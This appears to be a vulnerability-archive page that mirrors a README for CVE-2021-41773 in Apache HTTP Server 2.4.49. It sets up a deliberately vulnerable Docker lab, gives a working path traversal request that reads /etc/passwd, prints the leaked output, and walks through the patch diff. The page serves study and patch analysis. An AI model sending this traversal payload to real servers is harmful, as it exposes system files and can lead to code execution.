Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Description
CVE-2021-41773 POC with Docker
Readme
# CVE-2021-41773
CVE-2021-41773 POC with Docker
### Configuration
To customize the `httpd.conf` file, change line `251` in the `<Directory />` section from `Require all denied` to `Require all granted`.
```
<Directory />
AllowOverride none
Require all granted
</Directory>
```
### Create a Dockerfile in your project
```
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
```
Then, run the commands to build and run the Docker image:
```
$ docker build -t apache-pt .
$ docker run -dit --name apache-pt-app -p 81:80 apache-pt
```
### Exploit
Send the following request using BurpSuite Repeater.
```
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: localhost:81
User-Agent: Mozilla
Connection: close
```
Response:
```
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 02:32:09 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
### Patch revision
The source code for Apache 2.4.49 (vulnerable) and Apache 2.4.50 (patched) can be downloaded respectively from:
* [https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz](https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz)
* [https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz](https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz)
```
$ wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
$ wget https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz
```
The vulnerability is found in the `/server/util.c` file at line `571` where validation is applied for payloads of type `/xx/../` but not for `/xx/.%2e/`.
The difference between the vulnerable code and the patched code can be obtained with the command diff.
```
$ diff -u httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
--- httpd-2.4.49/server/util.c 2021-08-21 17:35:04.000000000 -0400
+++ httpd-2.4.50/server/util.c 2021-10-01 08:21:11.000000000 -0300
@@ -502,7 +502,8 @@
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
int ret = 1;
- apr_size_t l = 1, w = 1;
+ apr_size_t l = 1, w = 1, n;
+ int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
if (!IS_SLASH(path[0])) {
/* Besides "OPTIONS *", a request-target should start with '/'
@@ -529,7 +530,7 @@
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
- if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
+ if (decode_unreserved
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
@@ -567,8 +568,17 @@
continue;
}
- /* Remove /xx/../ segments */
- if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
+ /* Remove /xx/../ segments (or /xx/.%2e/ when
+ * AP_NORMALIZE_DECODE_UNRESERVED is set since we
+ * decoded only the first dot above).
+ */
+ n = l + 1;
+ if ((path[n] == '.' || (decode_unreserved
+ && path[n] == '%'
+ && path[++n] == '2'
+ && (path[++n] == 'e'
+ || path[n] == 'E')))
+ && IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
@@ -585,7 +595,7 @@
}
/* Move l forward to the next segment */
- l += 2;
+ l = n + 1;
if (path[l]) {
l++;
}
```
File Snapshot
[4.0K] /data/pocs/ee5039b4a77f553610028221a194c050ade5e49b
├── [ 71] Dockerfile
├── [ 20K] httpd.conf
└── [4.7K] README.md
0 directories, 3 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →